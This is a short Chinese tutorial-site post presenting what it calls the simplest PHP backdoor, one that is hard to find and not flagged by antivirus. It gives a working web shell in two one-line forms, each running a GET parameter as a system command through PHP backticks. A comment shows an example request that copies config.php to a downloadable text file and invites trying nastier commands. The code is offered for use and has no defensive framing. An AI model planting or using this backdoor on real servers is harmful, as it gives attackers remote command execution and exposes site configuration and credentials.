Home  >  Article  >  php教程  >  PHP最简单的后门,且难查,不报毒!

PHP最简单的后门,且难查,不报毒!

PHP中文网
PHP中文网Original
2016-05-23 16:40:092058browse

php代码

<?php
 
$c=urldecode($_GET[&#39;c&#39;]);if($c){`$c`;}//完整
 
!$_GET[&#39;c&#39;]||`{$_GET[&#39;c&#39;]}`;//精简
 
/*******************************************************
 * 原理:PHP中``符号包含会当作系统命令执行
 * 示例:http://host/?c=type%20config.php>;config.txt
 *       然后就可以下载config.txt查看内容了!
 *       可以试试更变态的命令,不要干坏事哦!
 *******************************************************/
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn